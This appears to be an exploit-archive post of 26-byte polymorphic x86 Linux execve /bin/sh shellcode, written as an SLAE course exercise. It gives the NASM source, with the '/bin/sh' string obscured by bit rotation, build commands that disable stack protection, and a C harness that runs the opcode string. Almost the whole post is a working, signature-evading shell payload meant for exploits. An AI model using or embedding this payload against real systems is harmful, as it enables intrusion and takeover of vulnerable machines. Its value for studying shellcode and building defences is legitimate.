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Polymorphic execve /bin/sh Shellcode

Polymorphic execve /bin/sh Shellcode
Posted Jan 15, 2018
Authored by Hashim Jawad

26 bytes small polymorphic execve /bin/sh shellcode.

tags | shellcode
MD5 | 121cabab8bde24a7954d3459b08e03ac

Polymorphic execve /bin/sh Shellcode

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/*

################### Description ###################

; Title : Polymorphic execve /bin/sh - Shellcode
; Author : Hashim Jawad
; Website : ihack4falafel[.]com
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : spawn /bin/sh shell
; OS : Linux
; Arch : x86
; Size : 26 bytes

#################### sh.nasm ######################

global _start

section .text

_start:
; zero out EAX
xor eax,eax
push eax

; push (/bin/sh) to the stack
mov edi, 0x343997B7
rol edi, 1
push edi
mov esi, 0xD2C45E5E
ror esi, 1
push esi

; ping kernel!
lea ebx, [esp]
mov al,0xb
int 0x80

################### sh binary #####################

nasm -f elf32 -o sh.o sh.nasm

ld -z execstack -o sh sh.o

################## Shellcode #####################

objdump -d sh -M intel

################### Compile #####################

gcc -fno-stack-protector -z execstack sh.c -o sh

*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x50\xbf\xb7\x97\x39\x34\xd1\xc7\x57\xbe\x5e\x5e\xc4\xd2\xd1\xce\x56\x8d\x1c\x24\xb0\x0b\xcd\x80";

main()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

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